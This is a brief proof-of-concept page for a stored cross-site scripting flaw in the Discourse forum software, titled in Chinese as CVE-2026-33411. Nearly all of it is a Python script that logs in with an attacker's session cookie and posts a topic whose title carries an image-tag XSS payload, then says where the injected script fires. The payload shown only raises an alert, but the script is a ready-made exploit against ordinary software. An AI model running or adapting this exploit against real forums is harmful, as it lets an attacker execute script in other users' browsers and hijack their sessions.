CVE-2026-33411 Discourse 存储型XSS漏洞

import requests # Target URL (example) target_url = "https://example.com/posts" # Attacker's session cookie (after login) session_cookies = { "_t": "attacker_session_token" } # Malicious payload to be injected into the topic title # This payload simply alerts 'XSS' to demonstrate the vulnerability xss_payload = "<img src=x onerror=alert('XSS')>" # Data for the new post creation post_data = { "title": xss_payload, "raw": "This is a test post content.", "category": "general" } # Send the POST request to create the topic with the malicious title response = requests.post(target_url, cookies=session_cookies, data=post_data) if response.status_code == 200: print("[+] Payload delivered successfully.") print("[+] Check the 'Solved Posts Stream' to verify the stored XSS trigger.") else: print("[-] Failed to deliver payload.")